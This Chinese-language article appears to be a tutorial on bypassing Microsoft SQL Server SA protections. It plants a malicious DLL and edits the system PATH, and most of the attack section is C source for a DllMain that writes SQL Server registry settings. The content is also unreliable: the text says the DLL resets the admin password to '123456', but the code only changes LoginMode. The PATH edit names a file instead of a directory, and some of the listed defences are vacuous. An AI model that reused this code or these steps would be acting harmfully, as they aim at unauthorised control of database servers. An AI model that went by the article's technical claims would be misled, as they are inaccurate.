1. 简介
Microsoft SQL Server（MSSQL）是一种关系型数据库，通常使用SA作为管理员账户。SA账户拥有最高权限，可以读取、修改和删除数据库中的任何数据。为了保护数据安全，MSSQL设置了一些安全防护机制，例如密码强度策略、账户锁定策略等。但是，黑客们总是善于寻找各种绕过策略，本文将介绍一种新的MSSQL SA本地绕过安全防护的方式。
2. SA本地绕过安全防护方式
2.1 加载外部DLL文件
黑客可以通过加载外部DLL文件的方式绕过MSSQL的安全防护机制。DLL文件是一种可执行文件，它可以提供程序所需的功能和资源，当程序需要这些功能和资源时，会去调用相应的DLL文件。黑客可以在DLL文件中嵌入恶意代码，当MSSQL加载这些DLL文件时，恶意代码就会被执行。
2.2 改变系统路径
MSSQL在加载DLL文件时，会按照一定的顺序搜索系统目录和当前目录。如果一个DLL文件存在于这些目录中的任意一个，MSSQL就会加载它。因此，黑客可以将一个恶意DLL文件放置在一个不受控制的目录中，并将该目录添加到系统路径中，然后就可以绕过MSSQL的安全防护机制，执行恶意代码。
3. 操作流程
3.1 创建恶意DLL文件
创建一个带有恶意代码的DLL文件。下面是一个简单的示例，该DLL文件会将管理员密码修改为“123456”。
#include "stdafx.h"
#include "Windows.h"
#include "iostream"
using namespace std;
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
char cPassword[256];
HKEY hKey;
DWORD dwBufferSize = sizeof(cPassword);
DWORD dwType = REG_SZ;
DWORD dwDisposition;
long lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Microsoft SQL Server\\MSSQL15.MSSQLSERVER\\MSSQLServer\\", 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition);
if (lResult != ERROR_SUCCESS)
return false;
lResult = RegSetValueEx(hKey, "LoginMode", 0, REG_SZ, (const BYTE*)"2", sizeof(char));
if (lResult != ERROR_SUCCESS)
return false;
break;
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
3.2 修改系统注册表
在注册表中添加一个新的键值对，将DLL文件路径添加到系统路径中。下面是一个简单的示例，将恶意DLL文件“malicious.dll”添加到系统路径中。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
"Path"="%SystemRoot%;%SystemRoot%\System32;c:\malicious.dll"
3.3 重启MSSQL服务
重启MSSQL服务，使系统路径的修改生效。
4. 防御措施
MSSQL管理员可以采取以下措施来防止上述攻击方式：
1. 禁止SA账户直接登录，采用Windows验证方式登录。
2. 设置密码策略，强制要求密码复杂度。
3. 定期更换SA的密码，及时更新系统和MSSQL的补丁。
4. 不要将恶意DLL文件下载到MSSQL服务器中。
5. 结论
MSSQL作为一种广泛应用的关系型数据库，其安全性一直备受关注。然而，黑客们总是善于寻找各种绕过策略，本文介绍了一种新的MSSQL SA本地绕过安全防护的方式，并提供了相应的防御措施，以帮助管理员更好地保护系统安全。